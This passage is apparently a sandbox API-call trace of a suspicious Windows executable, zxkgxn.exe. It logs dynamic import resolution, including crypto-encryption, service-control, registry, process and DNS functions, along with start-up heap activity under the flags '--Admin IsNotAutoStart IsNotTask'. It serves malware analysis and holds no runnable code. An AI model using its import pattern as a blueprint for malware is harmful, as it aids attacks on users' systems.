(hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0047.912] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0047.912] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0047.912] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0047.913] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0047.914] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0047.915] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0047.916] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0047.917] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0047.918] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0047.919] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0047.920] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0047.921] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0047.922] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0047.922] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0047.922] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0047.922] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0047.923] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0047.923] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0047.923] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0047.923] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0047.923] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0047.923] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0047.924] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0047.924] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0047.927] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0047.927] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0047.927] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0047.927] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0047.927] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0047.927] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0047.927] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0047.927] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0047.928] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0047.928] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0047.928] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0047.928] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0047.929] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0047.929] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0047.932] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0047.932] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0047.934] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0047.934] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0047.934] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0047.934] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0047.938] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0047.938] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0047.938] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0047.938] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0047.938] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0047.944] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0047.944] atexit (param_1=0x65a222) returned 0 [0047.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18dca8 | out: lpSystemTimeAsFileTime=0x18dca8*(dwLowDateTime=0x659a8a70, dwHighDateTime=0x1d52f22)) [0047.944] GetCurrentThreadId () returned 0xb14 [0047.944] GetCurrentProcessId () returned 0xb10 [0047.944] QueryPerformanceCounter (in: lpPerformanceCount=0x18dca0 | out: lpPerformanceCount=0x18dca0*=16825331371) returned 1 [0047.944] GetStartupInfoW (in: lpStartupInfo=0x18dc38 | out: lpStartupInfo=0x18dc38*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0047.944] GetProcessHeap () returned 0x600000 [0047.945] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0047.945] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0047.946] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0047.947] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0047.948] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3bc) returned 0x6ab170 [0047.948] GetCurrentThreadId () returned 0xb14 [0047.948] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x18) returned 0x6a1528 [0047.948] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x800) returned 0x6ab538 [0047.948] GetStartupInfoW (in: lpStartupInfo=0x18dc08 | out: lpStartupInfo=0x18dc08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x8e918b22, hStdError=0x771645f5)) [0047.948] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.948] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.948] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.948] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" --Admin IsNotAutoStart IsNotTask" [0047.948] GetEnvironmentStringsW () returned 0x6abd40* [0047.948] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xaca) returned 0x6ac818 [0047.948] FreeEnvironmentStringsW (penv=0x6abd40) returned 1 [0047.948] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe")) returned 0x30 [0047.948] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xb8) returned 0x6abd40 [0047.948] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x98) returned 0x6abe00 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3e) returned 0x6a0330 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x6c) returned 0x6abea0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x6e) returned 0x6abf18 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x78) returned 0x69e470 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x62) returned 0x6abf90 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2e) returned 0x6a6f68 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x48) returned 0x6a2c50 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x28) returned 0x6a6910 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1a) returned 0x6aae08 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x4a) returned 0x6ac000 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x72) returned 0x69e4f0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x30) returned 0x6a6fa0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2e) returned 0x6a6fd8 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1c) returned 0x6aae30 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xd2) returned 0x6ac058 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x7c) returned 0x6ac138 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x36) returned 0x6ac1c0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3a) returned 0x6a0378 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x90) returned 0x6ac200 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x24) returned 0x6a6940 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x30) returned 0x6a7010 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x36) returned 0x6ac298 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x48) returned 0x6a2ca0 [0047.949] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, 